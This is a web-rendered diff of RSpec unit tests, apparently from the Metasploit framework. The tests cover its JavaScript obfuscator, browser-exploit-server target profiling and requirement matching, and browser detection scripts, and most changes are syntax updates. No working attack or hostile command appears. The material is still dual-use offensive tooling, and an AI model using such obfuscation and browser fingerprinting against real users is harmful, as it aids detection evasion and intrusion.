mod = ::Msf::Module.new
|
||||
mod.extend described_class
|
||||
mod.send(:initialize, {})
|
||||
mod
|
||||
end
|
||||
|
||||
let (:js) do
|
||||
%Q|alert("hello, world");|
|
||||
end
|
||||
|
||||
let(:default_jsobfuscate) do
|
||||
0
|
||||
end
|
||||
|
||||
before do
|
||||
subject.datastore['JsObfuscate'] = default_jsobfuscate
|
||||
end
|
||||
|
||||
context 'when iteration is set' do
|
||||
it 'returns a ::Rex::Exploitation::JSObfu object' do
|
||||
opts = {:iterations=>0}
|
||||
obj = jsobfu.js_obfuscate(js, opts)
|
||||
expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu)
|
||||
end
|
||||
|
||||
it 'does not obfuscate if iteration is 0' do
|
||||
opts = {:iterations=>0}
|
||||
obj = jsobfu.js_obfuscate(js, opts)
|
||||
expect(obj.to_s).to include js
|
||||
end
|
||||
|
||||
it 'obfuscates if iteration is 1' do
|
||||
opts = {:iterations=>1}
|
||||
obj = jsobfu.js_obfuscate(js, opts)
|
||||
expect(obj.to_s).not_to include js
|
||||
end
|
||||
end
|
||||
|
||||
context 'when iteration is nil' do
|
||||
let (:opts) do
|
||||
{:iterations=>nil}
|
||||
end
|
||||
|
||||
it 'returns a ::Rex::Exploitation::JSObfu object' do
|
||||
obj = jsobfu.js_obfuscate(js, opts)
|
||||
expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu)
|
||||
end
|
||||
|
||||
it 'does not obfuscate' do
|
||||
obj = jsobfu.js_obfuscate(js, opts)
|
||||
expect(obj.to_s).to include(js)
|
||||
end
|
||||
end
|
||||
end
|
@ -12,22 +12,22 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
end
|
||||
|
||||
let(:service_double) do
|
||||
service = double("service")
|
||||
service = double('service')
|
||||
service.stub(:server_name=)
|
||||
service.stub(:add_resource)
|
||||
service
|
||||
end
|
||||
|
||||
let(:profile_name) do
|
||||
"random"
|
||||
'random'
|
||||
end
|
||||
|
||||
let(:expected_os_name) do
|
||||
"linux"
|
||||
'linux'
|
||||
end
|
||||
|
||||
let(:expected_user_agent) do
|
||||
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
|
||||
'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)'
|
||||
end
|
||||
|
||||
let(:exploit_page) do
|
||||
@ -36,16 +36,16 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
let(:expected_profile) do
|
||||
{
|
||||
:source=>"script",
|
||||
:os_name=>"Microsoft Windows",
|
||||
:os_flavor=>"XP",
|
||||
:ua_name=>"MSIE",
|
||||
:ua_ver=>"8.0",
|
||||
:arch=>"x86",
|
||||
:office=>"null",
|
||||
:activex=>"true",
|
||||
:source=>'script',
|
||||
:os_name=>'Microsoft Windows',
|
||||
:os_flavor=>'XP',
|
||||
:ua_name=>'MSIE',
|
||||
:ua_ver=>'8.0',
|
||||
:arch=>'x86',
|
||||
:office=>'null',
|
||||
:activex=>'true',
|
||||
:proxy=>false,
|
||||
:language=>"en-us",
|
||||
:language=>'en-us',
|
||||
:tried=>true
|
||||
}
|
||||
end
|
||||
@ -58,21 +58,21 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
server.start_service
|
||||
end
|
||||
|
||||
describe ".get_module_resource" do
|
||||
describe "#get_module_resource" do
|
||||
it "should give me a URI to access the exploit page" do
|
||||
module_resource = server.get_module_resource
|
||||
module_resource.should match(exploit_page)
|
||||
expect(module_resource).to include(exploit_page)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_bad_requirements" do
|
||||
describe "#get_bad_requirements" do
|
||||
let(:rejected_requirements) do
|
||||
server.get_bad_requirements(fake_profile)
|
||||
end
|
||||
|
||||
context 'when given the expected profile' do
|
||||
it "should not contain any bad requirements" do
|
||||
server.get_bad_requirements(expected_profile).should eq([])
|
||||
expect(server.get_bad_requirements(expected_profile)).to eq([])
|
||||
end
|
||||
end
|
||||
|
||||
@ -85,8 +85,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
server.instance_variable_set(:@requirements, {:os_name => /win/i})
|
||||
end
|
||||
|
||||
it "should have identify :os_name as a requirement not met" do
|
||||
rejected_requirements.should eq([:os_name])
|
||||
it "identifies :os_name as a requirement not met" do
|
||||
expect(rejected_requirements).to eq([:os_name])
|
||||
end
|
||||
end
|
||||
|
||||
@ -104,86 +104,86 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
context "with the regex /26\.0$/" do
|
||||
let(:ua_ver) { /26\.0$/ }
|
||||
it "should reject :ua_ver" do
|
||||
rejected_requirements.should include(:ua_ver)
|
||||
expect(rejected_requirements).to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context "with the regex /25\.0$/" do
|
||||
let(:ua_ver) { /25\.0$/ }
|
||||
it "should accept :ua_ver" do
|
||||
rejected_requirements.should_not include(:ua_ver)
|
||||
expect(rejected_requirements).not_to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context "with a Proc that checks if version is between 1-5" do
|
||||
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } }
|
||||
it "should reject :ua_ver" do
|
||||
rejected_requirements.should include(:ua_ver)
|
||||
expect(rejected_requirements).to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context "with a Proc that checks if version is between 20-26" do
|
||||
let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } }
|
||||
it "should accept :ua_ver" do
|
||||
rejected_requirements.should_not include(:ua_ver)
|
||||
expect(rejected_requirements).not_to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe ".init_profile" do
|
||||
describe "#init_profile" do
|
||||
it "should initialize an empety profile for tag 'random'" do
|
||||
server.init_profile(profile_name)
|
||||
ivar_target_profile = server.instance_variable_get(:@target_profiles)
|
||||
ivar_target_profile.should eq({profile_name=>{}})
|
||||
expect(ivar_target_profile).to eq({profile_name=>{}})
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_profile" do
|
||||
describe "#get_profile" do
|
||||
it "should return nil when a profile isn't found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile("non_existent_profile")
|
||||
p.should be_nil
|
||||
expect(p).to be_nil
|
||||
end
|
||||
|
||||
it "should return a profile if found" do
|
||||
it "returns a profile if found" do
|
||||
server.init_profile(profile_name)
|
||||
p = server.get_profile(profile_name)
|
||||
p.should eq({})
|
||||
expect(p).to eq({})
|
||||
end
|
||||
end
|
||||
|
||||
describe ".update_profile" do
|
||||
it "should update my target profile's :os_name information" do
|
||||
describe "#update_profile" do
|
||||
it "updates my target profile's :os_name information" do
|
||||
server.init_profile(profile_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
server.update_profile(profile, :os_name, expected_os_name)
|
||||
profile = server.get_profile(profile_name)
|
||||
profile[:os_name].should eq(expected_os_name)
|
||||
expect(profile[:os_name]).to eq(expected_os_name)
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_detection_html" do
|
||||
it "should return the detection code that the client will get" do
|
||||
describe "#get_detection_html" do
|
||||
it "returns the detection code that the client will get" do
|
||||
html = server.get_detection_html(expected_user_agent)
|
||||
html.should_not eq('')
|
||||
expect(html).not_to eq('')
|
||||
end
|
||||
end
|
||||
|
||||
describe ".on_request_exploit" do
|
||||
it "should raise a NoMethodError if called" do
|
||||
describe "#on_request_exploit" do
|
||||
it "raises a NoMethodError if called" do
|
||||
fake_cli = nil
|
||||
fake_request = nil
|
||||
fake_browser_info = nil
|
||||
lambda {
|
||||
expect {
|
||||
server.on_request_exploit(fake_cli, fake_request, fake_browser_info)
|
||||
}.should raise_error
|
||||
}.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
describe ".get_target" do
|
||||
it "should return a target" do
|
||||
describe "#get_target" do
|
||||
it "returns a target" do
|
||||
#
|
||||
# Using Object for Msf::Module::Target
|
||||
#
|
||||
@ -193,8 +193,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
end
|
||||
end
|
||||
|
||||
describe ".try_set_target" do
|
||||
it "should try to set a target based on requirements" do
|
||||
describe "#try_set_target" do
|
||||
it "Sets a target based on requirements" do
|
||||
#
|
||||
# This testcase needs to be better somehow, but not sure how to actually create
|
||||
# a Msf::Module::Target. All we're able to test here is making sure the method
|
||||
@ -207,23 +207,23 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
end
|
||||
end
|
||||
|
||||
describe ".extract_requirements" do
|
||||
it "should find all the recognizable keys" do
|
||||
describe "#extract_requirements" do
|
||||
it "finds all the recognizable keys" do
|
||||
requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.should eq(requirements)
|
||||
expect(matches).to eq(requirements)
|
||||
end
|
||||
|
||||
it "should make sure the keys are always symbols" do
|
||||
it "makes sure the keys are always symbols" do
|
||||
requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"}
|
||||
matches = server.extract_requirements(requirements)
|
||||
matches.each do |k,v|
|
||||
k.class.should eq(Symbol)
|
||||
expect(k.class).to eq(Symbol)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '.on_request_uri' do
|
||||
describe '#on_request_uri' do
|
||||
let(:cli) { double(:peerhost => '0.0.0.0') }
|
||||
let(:cookie) { '' }
|
||||
let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} }
|
||||
@ -240,6 +240,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
end
|
||||
|
||||
context 'when a new visitor requests the exploit' do
|
||||
before { JSObfu.disabled = true }
|
||||
after { JSObfu.disabled = false }
|
||||
|
||||
it 'calls send_response once' do
|
||||
server.should_receive(:send_response).once
|
||||
server.on_request_uri(cli, request)
|
||||
@ -247,7 +250,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
it 'serves the os.js detection script' do
|
||||
server.should_receive(:send_response) do |cli, html, headers|
|
||||
expect(html).to include('window.os_detect')
|
||||
expect(html).to include('os_detect')
|
||||
end
|
||||
server.on_request_uri(cli, request)
|
||||
end
|
||||
@ -278,6 +281,9 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
let(:tag) { 'joe' }
|
||||
let(:cookie) { "#{cookie_name}=#{tag}" }
|
||||
|
||||
before { JSObfu.disabled = true }
|
||||
after { JSObfu.disabled = false }
|
||||
|
||||
it 'calls send_response once' do
|
||||
server.should_receive(:send_response).once
|
||||
server.on_request_uri(cli, request)
|
||||
@ -285,7 +291,7 @@ describe Msf::Exploit::Remote::BrowserExploitServer do
|
||||
|
||||
it 'serves the os.js detection script' do
|
||||
server.should_receive(:send_response) do |cli, html, headers|
|
||||
expect(html).to include('window.os_detect')
|
||||
expect(html).to include('os_detect')
|
||||
end
|
||||
server.on_request_uri(cli, request)
|
||||
end
|
||||
|
@ -74,7 +74,7 @@ describe Msf::Ui::Console::CommandDispatcher::Db do
|
||||
" -o <file> Send output to a file in csv format",
|
||||
" -R,--rhosts Set RHOSTS from the results of the search",
|
||||
" -S,--search Search string to filter by",
|
||||
"Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
|
||||
"Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count"
|
||||
]
|
||||
end
|
||||
end
|
||||
|
@ -7,21 +7,21 @@ describe Rex::Exploitation::Js::Detect do
|
||||
context ".os" do
|
||||
it "should load the OS detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.os.to_s
|
||||
js.should =~ /window\.os_detect/
|
||||
js.should =~ /os_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".ie_addons" do
|
||||
it "should load the IE Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.ie_addons.to_s
|
||||
js.should =~ /window\.ie_addons_detect/
|
||||
js.should =~ /ie_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
context ".misc_addons" do
|
||||
it "should load the misc Addons detection in Javascript" do
|
||||
js = Rex::Exploitation::Js::Detect.misc_addons.to_s
|
||||
js.should =~ /window\.misc_addons_detect/
|
||||
js.should =~ /misc_addons_detect/
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -2,50 +2,28 @@ require 'spec_helper'
|
||||
require 'rex/exploitation/jsobfu'
|
||||
|
||||
describe Rex::Exploitation::JSObfu do
|
||||
TEST_JS = %Q|
|
||||
function x() {
|
||||
alert('1');
|
||||
};
|
||||
|
||||
x();
|
||||
|
|
||||
|
||||
subject(:jsobfu) do
|
||||
described_class.new("")
|
||||
described_class.new(TEST_JS)
|
||||
end
|
||||
|
||||
describe '#random_var_name' do
|
||||
subject(:random_var_name) { jsobfu.random_var_name }
|
||||
|
||||
it { should be_a String }
|
||||
it { should_not be_empty }
|
||||
|
||||
it 'is composed of _, $, alphanumeric chars' do
|
||||
20.times { expect(jsobfu.random_var_name).to match(/\A[a-zA-Z0-9$_]+\Z/) }
|
||||
describe '#obfuscate' do
|
||||
|
||||
it 'returns a #to_s object' do
|
||||
expect(jsobfu.obfuscate.to_s).to be_a(String)
|
||||
end
|
||||
|
||||
it 'does not start with a number' do
|
||||
20.times { expect(jsobfu.random_var_name).not_to match(/\A[0-9]/) }
|
||||
it 'returns a non-empty String' do
|
||||
expect(jsobfu.obfuscate.to_s).not_to be_empty
|
||||
end
|
||||
|
||||
context 'when a reserved word is generated' do
|
||||
let(:reserved) { described_class::RESERVED_KEYWORDS.first }
|
||||
let(:random) { 'abcdef' }
|
||||
let(:generated) { [reserved, reserved, reserved, random] }
|
||||
|
||||
before do
|
||||
jsobfu.stub(:random_string) { generated.shift }
|
||||
end
|
||||
|
||||
it { should be random }
|
||||
end
|
||||
|
||||
context 'when a non-unique random var is generated' do
|
||||
let(:preexisting) { 'preexist' }
|
||||
let(:random) { 'abcdef' }
|
||||
let(:vars) { { 'jQuery' => preexisting } }
|
||||
let(:generated) { [preexisting, preexisting, preexisting, random] }
|
||||
|
||||
before do
|
||||
jsobfu.stub(:random_string) { generated.shift }
|
||||
jsobfu.instance_variable_set("@vars", vars)
|
||||
end
|
||||
|
||||
it { should be random }
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user